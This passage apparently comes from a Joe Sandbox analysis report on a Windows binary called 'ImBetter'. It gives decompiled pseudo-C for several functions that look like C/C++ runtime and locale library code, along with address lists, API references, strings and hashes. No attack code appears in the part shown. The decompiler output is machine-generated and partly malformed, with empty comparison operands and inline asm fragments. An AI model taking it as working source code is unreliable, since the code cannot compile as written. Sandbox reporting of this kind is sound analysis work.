				signed long long _t104;
				long long _t115;
				void* _t117;
				void* _t120;
				signed long long* _t123;
				signed long long _t124;
				signed long long _t126;
				signed long long _t129;
				signed long long*** _t132;

				_t52 = __edi;
				_t51 = __edx;
				 *((long long*)(_t117 + 0x10)) = __rbx;
				 *((long long*)(_t117 + 0x18)) = _t115;
				 *((long long*)(_t117 + 0x20)) = __rsi;
				_t66 =  *((intOrPtr*)(__rcx));
				_t132 = __rcx;
				_t73 =  *_t66;
				if (_t73 == 0) goto 0xe6b3aa68;
				_t124 =  *0xe6b6bbc0; // 0x7a937e77a598
				_t111 =  *_t73 ^ _t124;
				asm("dec eax");
				_t75 = _t73[4] ^ _t124;
				asm("dec ecx");
				asm("dec eax");
				if ((_t73[2] ^ _t124) != _t75) goto 0xe6b3a9da;
				_t77 = _t75 - ( *_t73 ^ _t124) >> 3;
				_t101 =  >  ? _t66 : _t77;
				_t6 = _t115 + 0x20; // 0x20
				_t102 = ( >  ? _t66 : _t77) + _t77;
				_t103 =  ==  ? _t66 : ( >  ? _t66 : _t77) + _t77;
				if (( ==  ? _t66 : ( >  ? _t66 : _t77) + _t77) - _t77 < 0) goto 0xe6b3a976;
				_t7 = _t115 + 8; // 0x8
				r8d = _t7;
				E00007FF77FF7E6B3BEF4(_t6, _t77, _t111,  ==  ? _t66 : ( >  ? _t66 : _t77) + _t77, _t111, _t115, _t120);
				_t24 = E00007FF77FF7E6B29D04(_t66, _t111);
				if (_t66 != 0) goto 0xe6b3a99e;
				_t104 = _t77 + 4;
				r8d = 8;
				E00007FF77FF7E6B3BEF4(_t24, _t77, _t111, _t104, _t111, _t115, _t120);
				_t129 = _t66;
				_t26 = E00007FF77FF7E6B29D04(_t66, _t111);
				if (_t129 == 0) goto 0xe6b3aa68;
				_t123 = _t129 + _t77 * 8;
				_t78 = _t129 + _t104 * 8;
				_t88 =  >  ? _t115 : _t78 - _t123 + 7 >> 3;
				_t64 =  >  ? _t115 : _t78 - _t123 + 7 >> 3;
				if (( >  ? _t115 : _t78 - _t123 + 7 >> 3) == 0) goto 0xe6b3a9da;
				memset(_t52, _t26, 0 << 0);
				_t126 =  *0xe6b6bbc0; // 0x7a937e77a598
				r8d = 0x40;
				asm("dec eax");
				 *_t123 =  *(_t132[1]) ^ _t126;
				_t95 =  *0xe6b6bbc0; // 0x7a937e77a598
				asm("dec eax");
				 *( *( *_t132)) = _t129 ^ _t95;
				_t96 =  *0xe6b6bbc0; // 0x7a937e77a598
				asm("dec eax");
				( *( *_t132))[1] =  &(_t123[1]) ^ _t96;
				_t98 =  *0xe6b6bbc0; // 0x7a937e77a598
				r8d = r8d - (_t51 & 0x0000003f);
				asm("dec eax");
				( *( *_t132))[2] = _t78 ^ _t98;
				goto 0xe6b3aa6b;
				return 0xffffffff;
			}

0x7ff7e6b3a8d4
0x7ff7e6b3a8d4
0x7ff7e6b3a8d4
0x7ff7e6b3a8d9
0x7ff7e6b3a8de
0x7ff7e6b3a8ec
0x7ff7e6b3a8f1
0x7ff7e6b3a8f4
0x7ff7e6b3a8fa
0x7ff7e6b3a900
0x7ff7e6b3a918
0x7ff7e6b3a91e
0x7ff7e6b3a921
0x7ff7e6b3a924
0x7ff7e6b3a927
0x7ff7e6b3a92d
0x7ff7e6b3a93b
0x7ff7e6b3a945
0x7ff7e6b3a949
0x7ff7e6b3a94c
0x7ff7e6b3a94f
0x7ff7e6b3a956
0x7ff7e6b3a958
0x7ff7e6b3a958
0x7ff7e6b3a962
0x7ff7e6b3a96c
0x7ff7e6b3a974
0x7ff7e6b3a976
0x7ff7e6b3a97a
0x7ff7e6b3a986
0x7ff7e6b3a98d
0x7ff7e6b3a990
0x7ff7e6b3a998
0x7ff7e6b3a9a5
0x7ff7e6b3a9a9
0x7ff7e6b3a9c1
0x7ff7e6b3a9c5
0x7ff7e6b3a9c8
0x7ff7e6b3a9d0
0x7ff7e6b3a9d3
0x7ff7e6b3a9da
0x7ff7e6b3a9f9
0x7ff7e6b3a9ff
0x7ff7e6b3aa02
0x7ff7e6b3aa15
0x7ff7e6b3aa1e
0x7ff7e6b3aa24
0x7ff7e6b3aa35
0x7ff7e6b3aa3e
0x7ff7e6b3aa42
0x7ff7e6b3aa4e
0x7ff7e6b3aa57
0x7ff7e6b3aa62
0x7ff7e6b3aa66
0x7ff7e6b3aa83

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: ErrorLastPrivilegeRelease
String ID:
API String ID: 1334314998-0
Opcode ID: c277a810434096135ac91836a801b3d9d6d9cd19e7fa297e4e579e83540a3c71
Instruction ID: 2e710defea02a7b06894de458dfc7a3cdebb358d58c19814ef6817c237f33f0f
Opcode Fuzzy Hash: c277a810434096135ac91836a801b3d9d6d9cd19e7fa297e4e579e83540a3c71
Instruction Fuzzy Hash: 6F41E422724A5882EF04DF2ADD6426AB3A1FB48FC4BA99133DE0D97B58DF7CD4418301

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B3C670 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dac98b10248a7ab1298cd5580df20125a1cc64e0efa5f0ff32e33ea648c0412f
Instruction ID: a3f2b183572a8afb64b563cd2dbfdb4e34ca66acc509a1879b2195c2d17a9d9d
Opcode Fuzzy Hash: dac98b10248a7ab1298cd5580df20125a1cc64e0efa5f0ff32e33ea648c0412f
Instruction Fuzzy Hash: 7FF068717392968BDB949F28E84272AB7D0E708388F90813ED58D83B14D67CD0618F15

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B3D53C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10d4ee434ffcee2ce9903bbbd0c21bb18a2540fd913b54ebb42349ac0f81a030
Instruction ID: 2720325569725bce7dd41a23f71332ff6523f31db6a06aee18e0529aebc68989
Opcode Fuzzy Hash: 10d4ee434ffcee2ce9903bbbd0c21bb18a2540fd913b54ebb42349ac0f81a030
Instruction Fuzzy Hash: 28A00221ABCC42D0E618EF00EC51632B374EBD0305BE16433D50D42560AFBCE444C723

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B04260 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 368
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E00007FF77FF7E6B04260(long long __rbx, long long __rcx, void* __rdx, long long __rsi, intOrPtr* __r8, intOrPtr* __r9) {
				void* __rdi;
				void* __rbp;
				void* __r12;
				void* __r15;
				void* _t68;
				void* _t72;
				signed long long _t91;
				long long _t108;
				intOrPtr _t123;
				void* _t139;
				void* _t142;
				intOrPtr _t143;
				intOrPtr _t144;
				intOrPtr _t147;
				void* _t150;
				intOrPtr* _t151;
				long long* _t154;
				void* _t156;
				void* _t157;
				void* _t159;
				long long _t171;
				void* _t173;
				void* _t175;
				void* _t176;

				 *((long long*)(_t159 + 0x18)) = __rbx;
				 *((long long*)(_t159 + 0x20)) = __rsi;
				_t157 = _t159 - 0x37;
				_t91 =  *0xe6b6bbc0; // 0x7a937e77a598
				 *(_t157 + 0x27) = _t91 ^ _t159 - 0x000000a0;
				_t154 = __r8;
				_t176 = __rdx;
				_t151 = __rcx;
				 *((long long*)(_t157 - 0x21)) = __rcx;
				r12d = 0;
				 *((intOrPtr*)(_t157 - 0x29)) = r12d;
				asm("xorps xmm0, xmm0");
				asm("movups [ecx], xmm0");
				 *((long long*)(__rcx + 0x10)) = _t171;
				 *((long long*)(__rcx + 0x18)) = 0xf;
				 *((intOrPtr*)(__rcx)) = r12b;
				 *((intOrPtr*)(_t157 - 0x29)) = 1;
				r14d = E00007FF77FF7E6B43294(_t68);
				if ( *((long long*)(__r8 + 0x18)) - 8 < 0) goto 0xe6b042d4;
				 *((long long*)(_t157 - 0x39)) =  *((intOrPtr*)(__r8));
				 *((long long*)(_t157 - 0x31)) =  *((intOrPtr*)(__r8 + 0x10));
				asm("movaps xmm0, [ebp-0x39]");
				asm("movdqa [ebp-0x39], xmm0");
				0xe6b09e80();
				if ( *((long long*)(__r9 + 0x18)) - 8 < 0) goto 0xe6b04307;
				 *((long long*)(_t157 - 0x39)) =  *((intOrPtr*)(__r9));
				 *((long long*)(_t157 - 0x31)) =  *((intOrPtr*)(__r9 + 0x10));
				asm("movaps xmm0, [ebp-0x39]");
				asm("movdqa [ebp-0x39], xmm0");
				0xe6b09e80();
				_t72 =  ==  ? 4 : 8;
				if ( *((intOrPtr*)(__rcx + 0x18)) - __rdx +  *((intOrPtr*)(__rdx + 8)) +  *((intOrPtr*)(_t157 + 0x17)) +  *((intOrPtr*)(_t157 - 9)) >= 0) goto 0xe6b04365;
				_t108 =  *((intOrPtr*)(__rcx + 0x10));
				E00007FF77FF7E6B0A880(__rcx, __rdx +  *((intOrPtr*)(__rdx + 8)) +  *((intOrPtr*)(_t157 + 0x17)) +  *((intOrPtr*)(_t157 - 9)) - _t108, __rcx, __rdx);
				 *((long long*)(_t151 + 0x10)) = _t108;
				E00007FF77FF7E6B02A20(_t108, _t151, _t154,  *((intOrPtr*)(_t176 + 8)), _t175);
				r8d = 3;
				E00007FF77FF7E6B02A20(_t108, _t151, _t154,  *((intOrPtr*)(_t176 + 8)), _t173);
				_t139 =  >=  ?  *((void*)(_t157 + 7)) : _t157 + 7;
				E00007FF77FF7E6B02A20(_t108, _t151, _t154,  *((intOrPtr*)(_t157 + 0x17)), _t171);
				if ( *((long long*)(_t157 - 9)) == 0) goto 0xe6b043d6;
				E00007FF77FF7E6B02A20(_t108, _t151, _t154, _t154, _t150);
				_t142 =  >=  ?  *((void*)(_t157 - 0x19)) : _t157 - 0x19;
				E00007FF77FF7E6B02A20(_t108, _t151, _t154,  *((intOrPtr*)(_t157 - 9)), _t156);
				_t123 =  *((intOrPtr*)(_t151 + 0x10));
				_t143 =  *((intOrPtr*)(_t151 + 0x18));
				if (_t123 - _t143 >= 0) goto 0xe6b043ff;
				 *((long long*)(_t151 + 0x10)) = _t123 + 1;
				if (_t143 - 0x10 < 0) goto 0xe6b043f7;
				 *((short*)( *_t151 + _t123)) = 0x22;
				goto 0xe6b04415;
				r9b = 0x22;
				r8d =  *(_t157 - 0x49) & 0x000000ff;
				E00007FF77FF7E6B0AB40(_t151, _t143, _t151, _t171);
				_t144 =  *((intOrPtr*)(_t157 - 1));
				if (_t144 - 0x10 < 0) goto 0xe6b0444c;
				if (_t144 + 1 - 0x1000 < 0) goto 0xe6b04447;
				if ( *((intOrPtr*)(_t157 - 0x19)) -  *((intOrPtr*)( *((intOrPtr*)(_t157 - 0x19)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b044c4;
				E00007FF77FF7E6B3CAF0(1,  *((intOrPtr*)( *((intOrPtr*)(_t157 - 0x19)) - 8)));
				 *((long long*)(_t157 - 9)) = _t171;
				 *((long long*)(_t157 - 1)) = 0xf;
				 *((char*)(_t157 - 0x19)) = 0;
				_t147 =  *((intOrPtr*)(_t157 + 0x1f));
				if (_t147 - 0x10 < 0) goto 0xe6b04493;
				if (_t147 + 1 - 0x1000 < 0) goto 0xe6b0448e;
				if ( *((intOrPtr*)(_t157 + 7)) -  *((intOrPtr*)( *((intOrPtr*)(_t157 + 7)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b044be;
				return E00007FF77FF7E6B3C7F0(E00007FF77FF7E6B3CAF0(1,  *((intOrPtr*)( *((intOrPtr*)(_t157 + 7)) - 8))), _t68,  *(_t157 + 0x27) ^ _t159 - 0x000000a0);
			}

0x7ff7e6b04260
0x7ff7e6b04265
0x7ff7e6b04272
0x7ff7e6b0427e
0x7ff7e6b04288
0x7ff7e6b0428f
0x7ff7e6b04292
0x7ff7e6b04295
0x7ff7e6b04298
0x7ff7e6b0429c
0x7ff7e6b0429f
0x7ff7e6b042a3
0x7ff7e6b042a6
0x7ff7e6b042a9
0x7ff7e6b042ad
0x7ff7e6b042b5
0x7ff7e6b042b8
0x7ff7e6b042c4
0x7ff7e6b042cf
0x7ff7e6b042d8
0x7ff7e6b042dc
0x7ff7e6b042e0
0x7ff7e6b042e4
0x7ff7e6b042f4
0x7ff7e6b04302
0x7ff7e6b0430b
0x7ff7e6b0430f
0x7ff7e6b04313
0x7ff7e6b04317
0x7ff7e6b04327
0x7ff7e6b0433e
0x7ff7e6b04350
0x7ff7e6b04352
0x7ff7e6b0435c
0x7ff7e6b04361
0x7ff7e6b0436f
0x7ff7e6b04374
0x7ff7e6b04384
0x7ff7e6b04392
0x7ff7e6b0439e
0x7ff7e6b043a8
0x7ff7e6b043b7
0x7ff7e6b043c5
0x7ff7e6b043d1
0x7ff7e6b043d6
0x7ff7e6b043da
0x7ff7e6b043e1
0x7ff7e6b043e7
0x7ff7e6b043f2
0x7ff7e6b043f7
0x7ff7e6b043fd
0x7ff7e6b043ff
0x7ff7e6b04402
0x7ff7e6b0440f
0x7ff7e6b04415
0x7ff7e6b0441d
0x7ff7e6b04430
0x7ff7e6b04445
0x7ff7e6b04447
0x7ff7e6b0444c
0x7ff7e6b04450
0x7ff7e6b04458
0x7ff7e6b0445c
0x7ff7e6b04464
0x7ff7e6b04477
0x7ff7e6b0448c
0x7ff7e6b044bd

APIs

__std_fs_code_page.LIBCPMT ref: 00007FF7E6B042BF

Part of subcall function 00007FF7E6B43294: AreFileApisANSI.KERNEL32(?,?,?,?,00007FF7E6B03928), ref: 00007FF7E6B432A6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B044BE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B044C4
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF7E6B045E1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B0460C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B04739
__std_exception_copy.LIBVCRUNTIME ref: 00007FF7E6B0476D

Strings

: ", xrefs: 00007FF7E6B0437A
", ", xrefs: 00007FF7E6B043AD

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ApisFile__std_exception_copy__std_exception_destroy__std_fs_code_page
String ID: ", "$: "
API String ID: 4080386414-747220369
Opcode ID: 97c229a9bc950b2da92490db7e44d57b8c379b992ab10775db1ce2a586db83a4
Instruction ID: a907a4d162fb0ebe83813452b4190fbf913cc88e6952d16cd34c2de160cdb3b4
Opcode Fuzzy Hash: 97c229a9bc950b2da92490db7e44d57b8c379b992ab10775db1ce2a586db83a4
Instruction Fuzzy Hash: F3E19372B24A81C5EB04EF65D8443AEB762FB44B88FA04132DB4D07B99DF78D895C351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B113A0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 151
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E00007FF77FF7E6B113A0(long long __rax, intOrPtr* __rcx, void* __rdx) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* _t52;
				intOrPtr _t58;
				char _t60;
				void* _t68;
				intOrPtr _t94;
				long long _t96;
				long long* _t118;
				void* _t119;
				void* _t120;
				void* _t121;
				void* _t123;
				void* _t124;
				void* _t125;
				long long _t126;

				_t119 = _t120 - 0x37;
				_t121 = _t120 - 0xf0;
				_t118 = __rcx;
				r14d = 0;
				 *((intOrPtr*)(_t119 + 0x67)) = r14d;
				if (__rcx == 0) goto 0xe6b115ad;
				if ( *__rcx != _t126) goto 0xe6b115ad;
				_t3 = _t126 + 0x30; // 0x30
				_t52 = E00007FF77FF7E6B3CAAC( *__rcx - _t126, __rax, __rcx);
				_t96 = __rax;
				 *((long long*)(_t119 + 0x77)) = __rax;
				asm("xorps xmm0, xmm0");
				asm("movups [eax], xmm0");
				asm("movups [eax+0x10], xmm0");
				asm("movups [eax+0x20], xmm0");
				_t94 =  *((intOrPtr*)(__rdx + 8));
				if (_t94 == 0) goto 0xe6b11408;
				if ( *((intOrPtr*)(_t94 + 0x28)) != 0) goto 0xe6b1140f;
				goto 0xe6b1140f;
				E00007FF77FF7E6B43D9C(_t52, 0, _t121 + 0x20);
				 *((long long*)(_t121 + 0x28)) = _t126;
				 *((char*)(_t121 + 0x30)) = 0;
				 *((long long*)(_t121 + 0x38)) = _t126;
				 *((char*)(_t119 - 0x79)) = 0;
				 *((long long*)(_t119 - 0x71)) = _t126;
				 *((intOrPtr*)(_t119 - 0x69)) = r14w;
				 *((long long*)(_t119 - 0x61)) = _t126;
				 *((intOrPtr*)(_t119 - 0x59)) = r14w;
				 *((long long*)(_t119 - 0x51)) = _t126;
				 *((char*)(_t119 - 0x49)) = 0;
				 *((long long*)(_t119 - 0x41)) = _t126;
				 *((char*)(_t119 - 0x39)) = 0;
				if (0xe6b5dda3 == 0) goto 0xe6b115c6;
				E00007FF77FF7E6B441E4(_t94, _t96, _t121 + 0x20, 0xe6b5dda3, 0xe6b5dda3, _t118, _t124);
				 *((intOrPtr*)(_t119 + 0x67)) = 1;
				 *((intOrPtr*)(_t96 + 8)) = r14d;
				 *_t96 = 0xe6b5a810;
				E00007FF77FF7E6B28BD4(0xe6b5a810);
				E00007FF77FF7E6B449F0(_t3, 0xe6b5dda3, 0xe6b5a810, _t96, _t119 - 0x31, 0xe6b5dda3, _t124, _t125);
				 *((long long*)(_t96 + 0x10)) = _t126;
				 *((long long*)(_t96 + 0x20)) = _t126;
				 *((long long*)(_t96 + 0x28)) = _t126;
				 *((long long*)(_t119 + 0x7f)) = _t96;
				E00007FF77FF7E6B449F0(_t3, 0xe6b5dda3, 0xe6b5a810, _t96, _t119 - 1, 0xe6b5dda3, _t124, _t125);
				0xe6b25f5c();
				if (0xe6b5a810 == 0) goto 0xe6b115d3;
				 *0xe6b5a810 = 0;
				 *((long long*)(_t96 + 0x10)) = 0xe6b5a810;
				0xe6b25f5c();
				if (0xe6b5a810 == 0) goto 0xe6b115d9;
				_t58 =  *((intOrPtr*)("false")); // 0x736c6166
				 *0xe6b5a810 = _t58;
				 *((short*)(0x7ff7e6b5a814)) =  *0xe6b5e4c4 & 0x0000ffff;
				 *((long long*)(_t96 + 0x20)) = 0xe6b5a810;
				0xe6b25f5c();
				if (0xe6b5a810 == 0) goto 0xe6b115c0;
				_t60 = "true"; // 0x65757274
				 *0xe6b5a810 = _t60;
				 *((char*)(0x7ff7e6b5a814)) =  *0xe6b5e4cc & 0x000000ff;
				 *((long long*)(_t96 + 0x28)) = 0xe6b5a810;
				 *((short*)(_t96 + 0x18)) = 0x2c2e;
				 *_t118 = _t96;
				E00007FF77FF7E6B44250(_t121 + 0x20);
				if ( *((intOrPtr*)(_t119 - 0x41)) == 0) goto 0xe6b11540;
				E00007FF77FF7E6B25D54(0x7ff7e6b5dda7, _t96, 0xe6b5dda3, _t118, _t123);
				 *((long long*)(_t119 - 0x41)) = _t126;
				if ( *((intOrPtr*)(_t119 - 0x51)) == 0) goto 0xe6b11552;
				E00007FF77FF7E6B25D54(0x7ff7e6b5dda7, _t96, 0xe6b5dda3, _t118, _t123);
				 *((long long*)(_t119 - 0x51)) = _t126;
				if ( *((intOrPtr*)(_t119 - 0x61)) == 0) goto 0xe6b11564;
				E00007FF77FF7E6B25D54(0x7ff7e6b5dda7, _t96, 0xe6b5dda3, _t118, _t123);
				 *((long long*)(_t119 - 0x61)) = _t126;
				if ( *((intOrPtr*)(_t119 - 0x71)) == 0) goto 0xe6b11576;
				E00007FF77FF7E6B25D54(0x7ff7e6b5dda7, _t96, 0xe6b5dda3, _t118, _t123);
				 *((long long*)(_t119 - 0x71)) = _t126;
				if ( *((intOrPtr*)(_t121 + 0x38)) == 0) goto 0xe6b11589;
				E00007FF77FF7E6B25D54(0x7ff7e6b5dda7, _t96, 0xe6b5dda3, _t118, _t123);
				 *((long long*)(_t121 + 0x38)) = _t126;
				if ( *((intOrPtr*)(_t121 + 0x28)) == 0) goto 0xe6b1159d;
				_t68 = E00007FF77FF7E6B25D54(0x7ff7e6b5dda7, _t96, 0xe6b5dda3, _t118, _t123);
				 *((long long*)(_t121 + 0x28)) = _t126;
				E00007FF77FF7E6B43E14(_t68, _t121 + 0x20);
				return 4;
			}

0x7ff7e6b113a7
0x7ff7e6b113ac
0x7ff7e6b113b6
0x7ff7e6b113b9
0x7ff7e6b113bc
0x7ff7e6b113c3
0x7ff7e6b113cc
0x7ff7e6b113d2
0x7ff7e6b113d6
0x7ff7e6b113db
0x7ff7e6b113de
0x7ff7e6b113e2
0x7ff7e6b113e5
0x7ff7e6b113e8
0x7ff7e6b113ec
0x7ff7e6b113f0
0x7ff7e6b113f7
0x7ff7e6b11400
0x7ff7e6b11406
0x7ff7e6b11416
0x7ff7e6b1141c
0x7ff7e6b11421
0x7ff7e6b11426
0x7ff7e6b1142b
0x7ff7e6b1142f
0x7ff7e6b11433
0x7ff7e6b11438
0x7ff7e6b1143c
0x7ff7e6b11441
0x7ff7e6b11445
0x7ff7e6b11449
0x7ff7e6b1144d
0x7ff7e6b11454
0x7ff7e6b11462
0x7ff7e6b11468
0x7ff7e6b1146f
0x7ff7e6b1147a
0x7ff7e6b1147d
0x7ff7e6b11486
0x7ff7e6b1148b
0x7ff7e6b1148f
0x7ff7e6b11493
0x7ff7e6b11497
0x7ff7e6b1149f
0x7ff7e6b114ab
0x7ff7e6b114b3
0x7ff7e6b114b9
0x7ff7e6b114bc
0x7ff7e6b114c8
0x7ff7e6b114d3
0x7ff7e6b114d9
0x7ff7e6b114df
0x7ff7e6b114e8
0x7ff7e6b114ec
0x7ff7e6b114f8
0x7ff7e6b11503
0x7ff7e6b11509
0x7ff7e6b1150f
0x7ff7e6b11518
0x7ff7e6b1151b
0x7ff7e6b1151f
0x7ff7e6b11525
0x7ff7e6b1152d
0x7ff7e6b11539
0x7ff7e6b1153b
0x7ff7e6b11540
0x7ff7e6b1154b
0x7ff7e6b1154d
0x7ff7e6b11552
0x7ff7e6b1155d
0x7ff7e6b1155f
0x7ff7e6b11564
0x7ff7e6b1156f
0x7ff7e6b11571
0x7ff7e6b11576
0x7ff7e6b11582
0x7ff7e6b11584
0x7ff7e6b11589
0x7ff7e6b11596
0x7ff7e6b11598
0x7ff7e6b1159d
0x7ff7e6b115a7
0x7ff7e6b115bf

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7E6B11416
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7E6B11462
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B115C0
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B115D3
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B115D9

Strings

bad locale name, xrefs: 00007FF7E6B115C6
false, xrefs: 00007FF7E6B114D9
true, xrefs: 00007FF7E6B11509

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name$false$true
API String ID: 164343898-1062449267
Opcode ID: 0797c7c51099145bf65cbf3a3e4d7d78d347b81d265c0fb64332f8ac8451f4de
Instruction ID: ea84b5ec2ddeacb09901bc167a11a183149f9594378a038ef4649115db2ba506
Opcode Fuzzy Hash: 0797c7c51099145bf65cbf3a3e4d7d78d347b81d265c0fb64332f8ac8451f4de
Instruction Fuzzy Hash: D661B772A297418AEB10EF60D8503BEB3B6EF44744F640136DA4D17A96DF3CE855C322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B36678 Relevance: 12.7, APIs: 3, Strings: 4, Instructions: 489
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 56%

			E00007FF77FF7E6B36678(signed short* __rax, long long __rbx, long long __rcx, signed short** __rdx, void* __r8, void* __r10, long long _a8, intOrPtr _a16, long long _a24) {
				void* _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				long long _v160;
				long long _v168;
				void* __rsi;
				void* __rbp;
				void* _t156;
				void* _t186;
				signed short _t200;
				signed short _t201;
				signed int _t202;
				signed int _t251;
				signed int _t253;
				signed int _t255;
				signed int _t256;
				signed int _t259;
				signed int _t262;
				signed short* _t381;
				signed short* _t382;
				signed short* _t383;
				signed short* _t385;
				signed short** _t386;
				long long _t387;
				long long* _t390;
				signed short* _t391;
				long long* _t395;
				long long* _t396;
				long long* _t397;
				signed short** _t398;
				void* _t399;
				void* _t400;
				signed short* _t405;
				signed short* _t406;
				long long _t408;
				signed short* _t409;
				long long _t410;
				intOrPtr _t411;

				_t395 = __rdx;
				_t387 = __rbx;
				_a24 = __rbx;
				_a8 = __rcx;
				_t408 =  *((intOrPtr*)(__rdx));
				r13d = 0;
				_t256 = r9b & 0xffffffff;
				r14d = r8d;
				_v64 = _t408;
				_t398 = __rdx;
				if (_t408 != 0) goto 0xe6b366c3;
				E00007FF77FF7E6B29CE4(__rax);
				 *__rax = 0x16;
				E00007FF77FF7E6B25994();
				goto 0xe6b366f5;
				if (r14d == 0) goto 0xe6b3670d;
				if (__r8 - 2 - 0x22 <= 0) goto 0xe6b3670d;
				_v160 = __rcx;
				r9d = 0;
				 *((char*)(__rcx + 0x30)) = 1;
				r8d = 0;
				 *(__rcx + 0x2c) = 0x16;
				_v168 = _t410;
				E00007FF77FF7E6B258C4(__rax, __rbx, __rcx, __rdx, _t399, _t400, __r8);
				_t390 = _t398[1];
				if (_t390 == 0) goto 0xe6b36d59;
				 *_t390 =  *_t398;
				goto 0xe6b36d59;
				_t10 = _t408 + 2; // 0x2
				 *_t395 = _t10;
				_t261 = r13d;
				if ( *((intOrPtr*)(_t390 + 0x28)) != r13b) goto 0xe6b36737;
				E00007FF77FF7E6B28660(_t10, _t387, _t390, _t395, _t399);
				goto 0xe6b36737;
				_t379 =  *_t398;
				 *_t398 =  &(( *_t398)[1]);
				if (E00007FF77FF7E6B3A410( *_t379 & 0xffff, 8, _t387, _t390) != 0) goto 0xe6b3672a;
				_t258 =  !=  ? _t256 : _t256 | 0x00000002;
